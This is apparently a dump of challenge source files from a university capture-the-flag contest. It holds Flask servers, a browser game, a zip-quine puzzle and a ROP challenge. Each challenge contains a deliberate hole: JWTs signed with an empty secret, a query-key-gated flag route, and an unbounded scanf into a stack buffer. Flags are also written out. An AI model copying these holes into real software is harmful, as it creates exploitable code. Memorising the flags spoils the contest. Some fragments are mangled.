9 | import re
10 | from shutil import copyfile
11 | from flask import Flask,request,render_template,url_for,send_from_directory,make_response,Response
12 | from flask import jsonify
13 | from hashlib import md5
14 | import queue
15 |
16 | from hashlib import md5
17 |
18 |
19 | import logging
20 | log=logging.getLogger("iaaa")
21 | log.setLevel(logging.WARNING)
22 |
23 |
24 | app = Flask("iaaa",static_url_path='/resources')
25 |
26 | @app.route('/',methods=["GET"])
27 | def index():
28 | return send_from_directory('maximum/','maximum.html', mimetype='text/html')
29 |
30 | @app.route('/maximum.js',methods=["GET"])
31 | def jsf():
32 | return send_from_directory('maximum/','maximum.js', mimetype='application/x-javascript')
33 |
34 | @app.route('/maximum.css',methods=["GET"])
35 | def cssf():
36 | return send_from_directory('maximum/','maximum.css', mimetype='text/css')
37 |
38 | @app.route('/flag',methods=["GET"])
39 | def getflag():
40 | if not 'token' in request.args:
41 | return 'need token'
42 | if 'k' in request.args and request.args['k']=='cyclononane':
43 | return 'flag{Al1ow_prEviEw1n9_Fl4G_%s}'%md5(('114514ASDFhijkm1919810'+request.args['token']).encode()).hexdigest()[:8]
44 | return 'None'
45 |
46 | @app.route('/callback',methods=["GET"])
47 | def docallback():
48 | if not 'jwt' in request.args:
49 | return Response('need jwt token',mimetype='text/plain')
50 | if not 'token' in request.args:
51 | return Response('need token',mimetype='text/plain')
52 | try:
53 | jwtg=request.args['jwt']
54 | resu=jwt.decode(jwtg,"",algorithms=["HS256"])
55 | if resu['identity']=='teacher':
56 | return Response('感谢你完成实验。这是我们额外赠送给你的flag: %s'%("flag{D4nG3r0u5_pRoXy_4Nd_s1MpLe_jvvT_%s}"%(md5(("EZPr0XyPr0blem~~_!"+request.args["token"]).encode()).hexdigest()[:8])),mimetype='text/plain')
57 | else:
58 | return Response('感谢你完成实验。由于你的身份是%s,我们无法赠送你一个flag。只有teacher可以领取flag。'%(resu['identity']),mimetype='text/plain')
59 | except:
60 | return Response('Error',mimetype='text/plain')
61 | return Response('None',mimetype='text/plain')
62 |
63 | app.run(host="0.0.0.0",port=81,debug=False,threaded=True)#!!!!!!!
64 |
--------------------------------------------------------------------------------
/src/proxy/maximum/maximum.css:
--------------------------------------------------------------------------------
1 | /* No Flag Here */
2 | html,body{
3 | height:100%;
4 | width: 100%;
5 | margin:0;
6 | }
7 | body{
8 | background-color: #faebd7;
9 | font-family: 'Microsoft Yahei', sans-serif;
10 | }
11 | .content{
12 | max-width: 48em;
13 | margin-left: auto;
14 | margin-right: auto;
15 | }
16 | .title{
17 | text-align: center;
18 | }
19 | .title>*{
20 | display:inline-block;
21 | vertical-align: top;
22 | }
23 | .title-text{
24 | font-weight: 700;
25 | font-size: 74px;
26 | }
27 | .title-help{
28 | padding-top:.5rem;
29 | text-decoration: none;
30 | font-weight:bold;
31 | font-size: 30px;
32 | color:#0000ff;
33 | user-select: none;
34 | }
35 | .title-help:hover,.title-help:active{
36 | color:#555555;
37 | cursor: pointer;
38 | }
39 | .head{
40 | text-align: center;
41 | padding:10px;
42 | }
43 | .head>*{
44 | display:inline-block;
45 | border-radius: 5px;
46 | background-color:#bbada0;
47 | color:#f9f6f2;
48 | font-weight: bold;
49 | padding:10px;
50 | width: 6em;
51 | }
52 | .head>*+*{
53 | margin-left: 0.5rem;
54 | }
55 | #number{
56 | width: 4em;
57 | height: 4em;
58 | margin-left: auto;
59 | margin-right: auto;
60 | background-color: #edcf72;
61 | color: #f9f6f2;
62 | font-weight: 700;
63 | font-size: 53px;
64 | text-align: center;
65 | border-radius: 1em;
66 | line-height: 4em;
67 | }
68 | .button{
69 | text-align: center;
70 | padding:10px;
71 | }
72 | .button>*{
73 | display: inline-block;
74 | border-radius: 5px;
75 | color:#f9f6f2;
76 | width: 4em;
77 | font-weight: bold;
78 | font-size: 30px;
79 | user-select: none;
80 | }
81 | .button>*:hover,.button>*:active{
82 | opacity: 0.5;
83 | cursor: pointer;
84 | }
85 | .button>*+*{
86 | margin-left: 1rem;
87 | }
88 | #message{
89 | border-radius:5px;
90 | padding:10px;
91 | display:none;
92 | font-weight: bold;
93 | }
94 | #list{
95 | background-color:#f0e68c;
96 | border-radius: 5px;
97 | padding:10px;
98 | text-align: left;
99 | word-break: keep-all;
100 | font-weight: lighter;
101 | min-height:1em;
102 | }
103 | #cover{
104 | background-color: #000000;
105 | position:absolute;
106 | left:0px;
107 | top:0px;
108 | width:100%;
109 | opacity:0.3;
110 | display:none;
111 | z-index:2;
112 | height:100%;
113 | }
114 | .window{
115 | background-color: #faebd7;
116 | border-radius: 5px;
117 | padding:20px;
118 | border-color: #ddd2b7;
119 | border-width: 5px;
120 | border-style: solid;
121 | margin-left: auto;
122 | margin-right:auto;
123 | width: 55%;
124 | display:none;
125 | position:absolute;
126 | top:20%;
127 | left:20%;
128 | z-index:3;
129 | }
130 | .window-close{
131 | border-color: #d8ba6f;
132 | border-style: solid;
133 | color:#d8ba6f;
134 | float:right;
135 | font-weight: bold;
136 | font-size:15px;
137 | cursor: pointer;
138 | height:20px;
139 | width:20px;
140 | border-radius: 5px;
141 | text-align: center;
142 | opacity: 0.5;
143 | user-select: none;
144 | }
145 | .window-close:hover,.close:active{
146 | opacity: 1;
147 | }
148 | .window-title{
149 | text-align: center;
150 | font-weight:bold;
151 | font-size:30px;
152 | margin-bottom: 10px;
153 | }
154 | .window-subtitle{
155 | font-weight: bold;
156 | }
157 | .window-subtitle::before{
158 | content:"▶ ";
159 | color:darkred;
160 | }
161 | .window-text{
162 | text-indent: 2em;
163 | margin-top: 0px;
164 | margin-bottom: 0px;
165 | }
166 | .window-color{
167 | border-radius: 5px;
168 | color:#f9f6f2;
169 | font-weight: bold;
170 | }
171 | .window-buttons{
172 | text-align: center;
173 | padding:10px;
174 | }
175 | .window-button{
176 | border-radius: 5px;
177 | color:#f9f6f2;
178 | width: 4em;
179 | font-weight: bold;
180 | font-size: 30px;
181 | user-select: none;
182 | }
183 | .window-button:hover,.window-button:active{
184 | opacity: 0.5;
185 | cursor: pointer;
186 | }
187 | .window-button>*+*{
188 | margin-left: 1rem;
189 | }
190 | /* See? */
--------------------------------------------------------------------------------
/src/proxy/maximum/maximum.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 获取最大值
6 |
7 |
8 |
9 |
10 |
14 |
15 |
分数
16 |
本轮进度
17 |
本次进度
18 |
19 |
-32768
20 |
25 |
26 |
27 |
28 |
29 |
30 |
X
31 |
帮助
32 |
33 |
游戏介绍
34 |
游戏总共有20轮,每一轮会生成一个含20个随机正整数的序列。序列中的数字会依次显示在页面中间的土黄色方框中。你需要猜测当前显示数字是否是当前序列中的最大值。
35 |
你可以点击下方的三个按钮进行操作:
36 |
舍弃 如果你觉得当前数字不是序列中最大的,可以舍弃该数字,但之后无法再次选择该数字。若本次序列中所有数字均被舍弃,则本次判定为失败,不计分。
37 |
选择 如果你觉得当前数字是序列中最大的,可以选择该数字,选对得5分,选错不扣分。
38 |
重置 清空当前答题记录,从零开始。
39 |
最下方的浅黄色区域会显示本次序列中已被你舍弃的数字,可辅助判断。
40 |
最终获得60及以上的分数即可获得flag。
41 |
42 |
43 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/src/proxy/maximum/maximum.js:
--------------------------------------------------------------------------------
1 | const MS=document.getElementById("message"),MSG=document.getElementById("msg");const MSGT=MSG.getElementsByClassName("window-title")[0];const MSGP=MSG.getElementsByClassName("window-text");const MSGB=MSG.getElementsByClassName("window-buttons")[0].children;(function(){const MIN=0,MAX=1<<16,N=20,ES=5,TS=100,L=20,T=60;var s=0,n=0,c=0,question=new Array,lst="";var TOKEN="";function form(){var t;for(var i=0;i--=T)}function get(won){if(won){var target="/"+[![]+[]][+[]][+[]]+[![]+[]][+[]][!+[]+!+[]]+[+[![]]+[]][+[]][+!+[]]+"g?k="+("c"+[96,55,109,99].sort().map(_=>String.fromCodePoint(_+12)).join("")+[[][[]]+[]][+[]][+!+[]]+"o"+ +"n"+"e").toLowerCase();target=target+"&token="+encodeURIComponent(TOKEN);let request=new XMLHttpRequest;request.onreadystatechange=function(){if(request.readyState==4&&request.status==200){var time=new Date(request.getResponseHeader("Date"));var ftime=[time.getFullYear(),("0"+(1+time.getMonth())).slice(-2),("0"+time.getDate()).slice(-2)].join("-")+" "+[("0"+time.getHours()).slice(-2),("0"+time.getMinutes()).slice(-2),("0"+time.getSeconds()).slice(-2)].join(":");showMsg();MSGT.innerHTML="祝贺!";MSGP[0].innerHTML="你在"+ftime+"获得了"+s+"的成绩,成功过关!";MSGP[1].innerHTML="这是你的flag: "+request.responseText;MSGB[0].style.display="inline-block";MSGB[1].style.display="inline-block"}};request.open("GET",target);request.send()}else{showMsg();MSGT.innerHTML="很遗憾";MSGP[0].innerHTML="在此次尝试中,您未能及格。";MSGP[1].innerHTML="再试一次吧!↓↓↓";MSGB[0].style.display="inline-block";MSGB[1].style.display="none";showMsg()}}function start(){n=s=0;TOKEN=getPar("token");if(TOKEN==""){alert("token异常,请直接从比赛平台进入");window.location.href="https://geekgame.pku.edu.cn/"}form()}pass=function(){if(c=T);
43 | }
44 | function get(won){
45 | if(won){
46 | var target="/"+[![]+[]][+[]][+[]]+[![]+[]][+[]][!+[]+!+[]]+
47 | [+[![]]+[]][+[]][+!+[]]+"g?k="+("c"+[96,55,109,99].sort().map(
48 | _=>String.fromCodePoint(_+12)).join("")+
49 | [[][[]]+[]][+[]][+!+[]]+"o"+ +"n"+"e").toLowerCase();
50 | target=target+"&token="+encodeURIComponent(TOKEN);
51 | let request=new XMLHttpRequest();
52 | request.onreadystatechange=function(){
53 | if(request.readyState==4&&request.status==200){
54 | var time=new Date(request.getResponseHeader("Date"));
55 | var ftime=[time.getFullYear(),('0'+(1+time.getMonth()))
56 | .slice(-2),('0'+time.getDate()).slice(-2)].join('-')
57 | +' '+[('0'+time.getHours()).slice(-2),('0'+time.
58 | getMinutes()).slice(-2),('0'+time.
59 | getSeconds()).slice(-2)].join(':');
60 | showMsg();
61 | MSGT.innerHTML="祝贺!";
62 | MSGP[0].innerHTML="你在"+ftime+"获得了"+s+"的成绩,成功过关!";
63 | MSGP[1].innerHTML="这是你的flag: "+request.responseText;
64 | MSGB[0].style.display="inline-block";
65 | MSGB[1].style.display="inline-block";
66 | }
67 | }
68 | request.open("GET",target);
69 | request.send();
70 | }else{
71 | showMsg();
72 | MSGT.innerHTML="很遗憾";
73 | MSGP[0].innerHTML="在此次尝试中,您未能及格。";
74 | MSGP[1].innerHTML="再试一次吧!↓↓↓";
75 | MSGB[0].style.display="inline-block";
76 | MSGB[1].style.display="none";
77 | showMsg();
78 | }
79 | }
80 | function start(){
81 | n=s=0;
82 | TOKEN=getPar("token");
83 | if(TOKEN=="")
84 | {
85 | alert("token异常,请直接从比赛平台进入");
86 | window.location.href="https://geekgame.pku.edu.cn/";
87 | }
88 | form();
89 | };
90 | pass=function(){
91 | if(c /dev/null 2>&1 &
4 | python web.py > /dev/null 2>&1 &
5 | python max.py > /dev/null 2>&1 &
6 |
7 | while [[ true ]]; do
8 | sleep 10;
9 | done
10 |
--------------------------------------------------------------------------------
/src/proxy/static/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/favicon.ico
--------------------------------------------------------------------------------
/src/proxy/static/fonts/fontawesome-webfont.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/fonts/fontawesome-webfont.woff2
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_logo_red.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_logo_red.png
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_1.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_10.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_10.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_11.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_11.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_12.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_12.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_2.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_3.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_3.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_4.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_5.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_6.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_6.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_7.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_7.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_8.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_8.jpg
--------------------------------------------------------------------------------
/src/proxy/static/images/pku_view_9.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/proxy/static/images/pku_view_9.jpg
--------------------------------------------------------------------------------
/src/proxy/static/javascript/OAuthRefresh.js:
--------------------------------------------------------------------------------
1 | /**
2 | * 扫描二维码
3 | * @param {} json
4 | */
5 | function logonQrcode(json) {
6 | $("#msg").text("正在登录中...");
7 | if(true == json.success){
8 | if(redirectURL.indexOf("?")>0){
9 | window.location.href = redirectURL+"&_rand="+Math.random()+"&token="+json.token;
10 | }
11 | else{
12 | window.location.href = redirectURL+"?_rand="+Math.random()+"&token="+json.token;
13 | }
14 | }
15 | else{
16 | if("E02"==json.errors.code){//"E13"
17 | window.location.href = "https://iaaa.pku.edu.cn/iaaa/activateAccount.jsp?Rand="+Math.random()+"&activeCode="+json.activeCode;
18 | }
19 | }
20 | }
21 | function checkQRBind(){
22 | $.ajax('/iaaa/oauthlogin4QRCode.do',{
23 | data:{
24 | //userName : '',
25 | appId : 'PKUApp',
26 | issuerAppId: 'iaaa',
27 | targetAppId : $("#appid").val(),
28 | //validCode :
29 | redirectUrl : redirectURL
30 | },
31 | type:"POST",
32 | dataType:"json",
33 | success : function(data,status,xhr) {
34 | var json = data;
35 | if(false == json.success){////{"success":true}
36 | if(""!=json.errors.msg){
37 | if("E10"==json.errors.code)
38 | $("#jumpBindCodeErrorMsg").text("");
39 | else $("#jumpBindCodeErrorMsg").text(json.errors.msg);
40 |
41 | if("E02"==json.errors.code)
42 | window.location.href = "https://iaaa.pku.edu.cn/iaaa/activateAccount.jsp?Rand="+Math.random()+"&activeCode="+json.activeCode;
43 |
44 | if("E06"==json.errors.code)//E11
45 | $("#otpHelp2").show();
46 | else $("#otpHelp2").hide();
47 |
48 | }
49 | if("是"==json.isStop || "E99"==json.errors.code)//{"success":false,"errors":{"code":"E99","msg":"操作失败。"},"message":"操作失败。","rows":[]}
50 | stopCheck();
51 | }else{
52 | stopCheck();
53 | logonQrcode(json);//下一页
54 | }
55 | },
56 | failure : function(xhr,status,error) {
57 | $("#tip").text("服务器没有响应,请刷新后重试!");
58 | }
59 | });
60 | }
61 | var checkBindInterval = null;
62 | function stopCheck(){
63 | clearInterval(checkBindInterval);
64 | }
65 | function startCheck(){
66 | checkBindInterval=setInterval(checkQRBind,3000);
67 | }
--------------------------------------------------------------------------------
/src/proxy/web.py:
--------------------------------------------------------------------------------
1 | #pip install pyJWT
2 |
3 | import os
4 | import json
5 | import math
6 | import time
7 | from datetime import timedelta
8 | import re
9 | from shutil import copyfile
10 | from flask import Flask,request,render_template,url_for,send_from_directory,make_response
11 | from flask import jsonify
12 | from hashlib import md5
13 | import queue
14 |
15 | import jwt
16 |
17 |
18 | import logging
19 | log=logging.getLogger("iaaa")
20 | log.setLevel(logging.WARNING)
21 |
22 |
23 | app = Flask("iaaa",static_url_path='/resources')
24 |
25 | @app.route('/',methods=["GET"])
26 | def index():
27 | token=request.args.get("token")
28 | if token==None:
29 | flag1="token异常,请从比赛平台直接进入"
30 | else:
31 | flag1="flag{U5e_Pr0xY_1s_E4zY_%s}"%(md5(("EaZYYYYY!!Pr0Xy~"+token).encode()).hexdigest()[:8])
32 | response = make_response(render_template('index.html',userflag1=flag1))
33 | encoded_jwt = jwt.encode({"isadmin": "false"}, "", algorithm="HS256")
34 | response.set_cookie("jwt-auth",encoded_jwt,max_age=3600*24)
35 | return response
36 |
37 | @app.route('/favicon.ico')
38 | def favicon():
39 | return send_from_directory('static/','favicon.ico', mimetype='image/vnd.microsoft.icon')
40 |
41 | @app.route('/iaaa/oauthlogin.do',methods=["POST"])
42 | def dologin():
43 | try:
44 | encoded_jwt = jwt.encode({"identity": "student"}, "", algorithm="HS256")
45 | obj={"success":True,"token":encoded_jwt}
46 | #obj["errors"]["msg"]="您的flag: "+"flag{D4nG3r0u5_pRoXy_4Nd_s1MpLe_jvvT_%s}"%(md5(("EZPr0XyPr0blem~~_!"+request.form["token"]).encode()).hexdigest()[:8])
47 |
48 | return json.dumps(obj)
49 | except:
50 | obj={"success":False,"errors":{"code":"E01","msg":"系统错误"}}
51 | return json.dumps(obj)
52 |
53 | @app.route('/iaaa/servlet/DrawServlet')
54 | def dosendcap():
55 | return send_from_directory('static/images/','pku_logo_red.png', mimetype='image/png')
56 |
57 |
58 | app.run(host="0.0.0.0",port=80,debug=False,threaded=True)#!!!!!!!
59 |
--------------------------------------------------------------------------------
/src/qiantui/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:18.04
2 |
3 | COPY pwn /
4 | COPY libc-2.27.so /
5 |
6 | ENV LD_PRELOAD /libc-2.27.so
7 |
8 | RUN chmod 0777 /pwn
9 |
10 | CMD /pwn
11 |
--------------------------------------------------------------------------------
/src/qiantui/libc-2.27.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/qiantui/libc-2.27.so
--------------------------------------------------------------------------------
/src/qiantui/pwn:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/qiantui/pwn
--------------------------------------------------------------------------------
/src/quinezip/README.TXT:
--------------------------------------------------------------------------------
1 | quinezip 文件说明:
2 |
3 | README.TXT : 本说明文件
4 | quinezip.brief.md : 简短的题目描述
5 | quinezip.md : 完整的题目描述
6 | flag.txt : 本题的flag
7 | quine.zip : 抹除了CRC32的quine.zip,提供给参赛者
8 | quine.origin.zip : CRC32正确的quine.zip,可以解压得到原本文件
9 |
--------------------------------------------------------------------------------
/src/quinezip/flag.txt:
--------------------------------------------------------------------------------
1 | flag{QUINE_F555094A_F555094A_F555094A_F555094A}
2 |
--------------------------------------------------------------------------------
/src/quinezip/quine.origin.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/quinezip/quine.origin.zip
--------------------------------------------------------------------------------
/src/quinezip/quine.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/quinezip/quine.zip
--------------------------------------------------------------------------------
/src/quinezip/quinezip.brief.md:
--------------------------------------------------------------------------------
1 | ## quinezip //cheshire_cat
2 |
3 | **巴别压缩包**
4 |
5 | 你从仓库的垃圾堆里翻出了一台神秘的旧电脑,里面的文件系统里装满了数不清的压缩文件,压缩文件全部是由256种字母组成的zip文件,每个压缩文件中又包含了更多的压缩文件。
6 |
7 | 你尝试彻底解压一个名为42.zip的压缩文件,经过了六层解压从42kb的文件中解压出了4.5PB的文件。
8 |
9 | 从某个看似为索引的压缩文件中你得知,解题的关键藏在一个名叫quine.zip的压缩文件中,这个压缩文件只包含quine.zip,也就是它自身。这是一个嵌套了无穷多层的压缩文件,每一层的压缩文件都完全相同,你怀疑它是否压缩了世界的最终奥秘。
10 |
11 | 坏消息是,另一个索引告诉你,quine.zip似乎已经被人为损坏了,而你的任务就是尝试修复它。
12 |
--------------------------------------------------------------------------------
/src/quinezip/quinezip.md:
--------------------------------------------------------------------------------
1 | ## quinezip //cheshire_cat
2 |
3 | ### **巴别压缩包**
4 |
5 | #### 题目描述
6 | 宇宙(有的人把它叫做图书馆)由一个结构不明确的,也许是无限复杂的[zip文件](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)所构成,每一个zip文件由至少一个局部文件记录与一个中央目录记录组成。局部文件记录包含局部文件首部与文件数据,局部文件首部总是由`0x04034b50`开始,其后的数据决定了这个文件的版本、压缩方式、修改时间、校验码、文件长度、文件名等信息。中央目录记录包含若干个中央目录首部与一个中央目录尾部,中央目录首部与局部文件记录一一对应,总是由`0x02014b50`开始,包含了与局部文件首部的位置,与其相似的信息以及其他信息。中央目录尾部总是由`0x06054b50`开始,记录了中央目录记录的位置以及记录的数量。
7 |
8 | 通过解压程序,每个局部文件解压后都可以是一个zip文件,从数目不定的子文件中又会解压出新的zip文件,形成了一个树状的迷宫。每一个zip文件的文件名都由数字、字母与一些符号组成,有些文件仅以不断递增的数字命名,还有的文件则像是葡萄牙文、意大利文或是什么其他语言或是方言或是原始语言的组合,其他文件则看上去纯粹是一堆乱码。
9 |
10 | 有的时候可能会在大量的乱码文件中找到一段可读的文本,它可能描述了一个从42KB的zip文件中解压出4.5PB的故事,也可能指示了其他zip文件在文件树中的位置。有时候它声称zip文件的嵌套深度是无限的,虽然文件的大小总是有限的,而且总是由256种字节为符号组合起来。一种可能的解读是所有的zip文件都是由一个叫做quine.zip的文件衍生出来的,这个不到1KB的zip文件永远也无法解压到底,确切地说每一层quine.zip解压出一个也叫做quine.zip的压缩文件,它和上一层的quine.zip大小一样,内容也完全相同。
11 |
12 | 然而按此描述找到的quine.zip文件却不如传说那般完美,它的CRC32校验码与其解压的文件总是对不上。可能是创建压缩文件时出的错误,也可能是遭到了恶意的篡改。总之这个问题在另外的文件中被指出,并声称只要在合适的位置找到正确的数据来修复quine.zip,就可以得到完美的zip文件。这样做有什么意义呢?也许从它可以得到某个比赛的特殊标志(flag)吧。
13 |
14 | #### 文件内容(用“*”符号标出了损坏的数据)
15 |
16 | $ hexdump -Cv quine.zip
17 | 00000000 50 4b 03 04 14 00 00 00 08 00 7d bf a1 52 ** **
18 | 00000010 ** ** 45 01 00 00 1e 02 00 00 09 00 1c 00 71 75
19 | 00000020 69 6e 65 2e 7a 69 70 55 54 09 00 03 ff 7a 8d 60
20 | 00000030 ff 7a 8d 60 75 78 0b 00 01 04 e8 03 00 00 04 e8
21 | 00000040 03 00 00 00 48 00 b7 ff 50 4b 03 04 14 00 00 00
22 | 00000050 08 00 7d bf a1 52 ** ** ** ** 45 01 00 00 1e 02
23 | 00000060 00 00 09 00 1c 00 71 75 69 6e 65 2e 7a 69 70 55
24 | 00000070 54 09 00 03 ff 7a 8d 60 ff 7a 8d 60 75 78 0b 00
25 | 00000080 01 04 e8 03 00 00 04 e8 03 00 00 00 48 00 b7 ff
26 | 00000090 22 c6 1c 62 cc 01 00 00 00 ff ff 00 10 00 ef ff
27 | 000000a0 22 c6 1c 62 cc 01 00 00 00 ff ff 00 10 00 ef ff
28 | 000000b0 42 e7 03 00 10 00 ef ff 42 e7 03 00 10 00 ef ff
29 | 000000c0 42 e7 03 00 10 00 ef ff 42 e7 03 00 10 00 ef ff
30 | 000000d0 82 d1 00 00 9b 00 64 ff 82 d1 00 00 9b 00 64 ff
31 | 000000e0 82 d1 00 00 9b 00 64 ff 1b c4 4e 03 00 50 4b 01
32 | 000000f0 02 1e 03 14 00 00 00 08 00 7d bf a1 52 ** ** **
33 | 00000100 ** 45 01 00 00 1e 02 00 00 09 00 18 00 00 00 00
34 | 00000110 00 01 00 00 00 a4 81 00 00 00 00 71 75 69 6e 65
35 | 00000120 2e 7a 69 70 55 54 05 00 03 ff 7a 8d 60 75 78 0b
36 | 00000130 00 01 04 e8 03 00 00 04 e8 03 00 00 50 4b 05 06
37 | 00000140 00 00 00 00 01 00 01 00 4f 00 00 00 88 01 00 00
38 | 00000150 31 00 71 75 69 6e 65 2e 7a 69 70 20 66 6f 72 20
39 | 00000160 32 30 32 31 50 4b 55 47 47 47 30 20 2d 2d 20 6d
40 | 00000170 61 64 65 20 62 79 20 63 68 65 73 68 69 72 65 5f
41 | 00000180 63 61 74 1b c4 4e 03 00 50 4b 01 02 1e 03 14 00
42 | 00000190 00 00 08 00 7d bf a1 52 ** ** ** ** 45 01 00 00
43 | 000001a0 1e 02 00 00 09 00 18 00 00 00 00 00 01 00 00 00
44 | 000001b0 a4 81 00 00 00 00 71 75 69 6e 65 2e 7a 69 70 55
45 | 000001c0 54 05 00 03 ff 7a 8d 60 75 78 0b 00 01 04 e8 03
46 | 000001d0 00 00 04 e8 03 00 00 50 4b 05 06 00 00 00 00 01
47 | 000001e0 00 01 00 4f 00 00 00 88 01 00 00 31 00 71 75 69
48 | 000001f0 6e 65 2e 7a 69 70 20 66 6f 72 20 32 30 32 31 50
49 | 00000200 4b 55 47 47 47 30 20 2d 2d 20 6d 61 64 65 20 62
50 | 00000210 79 20 63 68 65 73 68 69 72 65 5f 63 61 74
51 | 0000021e
52 |
53 | #### 文件下载
54 | [quine.zip](/quine.zip)
55 |
56 | #### flag格式:
57 | >flag{QUINE_XXXXXXXX_XXXXXXXX_XXXXXXXX_XXXXXXXX}
58 |
59 | 其中“XXXXXXXX”为四段被损坏的数据的**大写十六进制**编码。
60 |
--------------------------------------------------------------------------------
/src/rop/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:20.04
2 |
3 | RUN mkdir /chall
4 |
5 | COPY rop /chall/
6 | #COPY flag.txt /chall/
7 |
8 | RUN chmod 0777 /chall/rop
9 | RUN ln -s /data/flag /chall/flag
10 | #RUN chmod 0400 /chall/flag.txt
11 |
12 | CMD tail -f /dev/null
13 | #CMD cd /chall && ./rop
14 |
--------------------------------------------------------------------------------
/src/rop/flag.txt:
--------------------------------------------------------------------------------
1 | flag{palindromic_string_is_drawn_by_horse_TOKEN}
2 |
--------------------------------------------------------------------------------
/src/rop/libc-2.31.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/rop/libc-2.31.so
--------------------------------------------------------------------------------
/src/rop/rop:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/src/rop/rop
--------------------------------------------------------------------------------
/src/rop/rop.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int check(char *s, int n)
5 | {
6 | for (int i = 0; i < n; ++i)
7 | if (s[i] != s[n-i-1])
8 | return 0;
9 | return 1;
10 | }
11 |
12 | void run()
13 | {
14 | char s[100];
15 | scanf("%s", s);
16 | int n = strlen(s);
17 | int ansi, ansl = 0;
18 | for (int i = 0; i < n; ++i)
19 | for (int j = i+1; j <= n; ++j)
20 | if (check(s+i, j-i))
21 | {
22 | if (j-i > ansl)
23 | {
24 | ansl = j-i;
25 | ansi = i;
26 | }
27 | }
28 | for (int i = ansi; i < ansi+ansl; ++i)
29 | putchar(s[i]);
30 | putchar('\n');
31 | }
32 |
33 | void banner()
34 | {
35 | /*
36 | 描述
37 | 给定一个字符串,寻找并输出字符串中最长回文子串。回文串即从左到右和从右到左读都一样的字符串。
38 | 如果字符串中包含多个回文子串,则返回第一个。
39 | 输入
40 | 第一行是整数n,字符串的个数(n < 20)
41 | 输出
42 | 接下来n行,每行一个字符串
43 | 字符串的长度不超过100
44 | */
